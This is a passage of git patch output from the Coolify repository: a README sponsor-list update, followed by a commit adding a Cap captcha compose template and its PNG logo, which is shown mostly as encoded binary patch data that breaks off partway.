1 deletion(-) diff --git a/README.md b/README.md index 9a5feff4e..494ad007a 100644 --- a/README.md +++ b/README.md @@ -60,7 +60,7 @@ ### Huge Sponsors * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API * [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs -* +* [PrivateAlps](https://privatealps.net?ref=coolify.io) - Offshore hosting — anonymity, uncensored, security. ### Big Sponsors @@ -151,6 +151,7 @@ ### Small Sponsors Cap-go InterviewPal Transcript LOL +YouStable ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio) From 0c1c5c5831f375867e1c8c410ec7300ddeb2b405 Mon Sep 17 00:00:00 2001 From: tiago <70700766+tiagozip@users.noreply.github.com> Date: Wed, 22 Apr 2026 10:03:06 +0100 Subject: [PATCH 066/329] feat: add Cap to templates --- public/svgs/cap-captcha.png | Bin 0 -> 32805 bytes templates/compose/cap-captcha.yaml | 27 +++++++++++++++++++++++++++ 2 files changed, 27 insertions(+) create mode 100644 public/svgs/cap-captcha.png create mode 100644 templates/compose/cap-captcha.yaml diff --git a/public/svgs/cap-captcha.png b/public/svgs/cap-captcha.png new file mode 100644 index 0000000000000000000000000000000000000000..4b6a7df1424b62b5d5e72c0754fdd509fdf6a90b GIT binary patch literal 32805 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 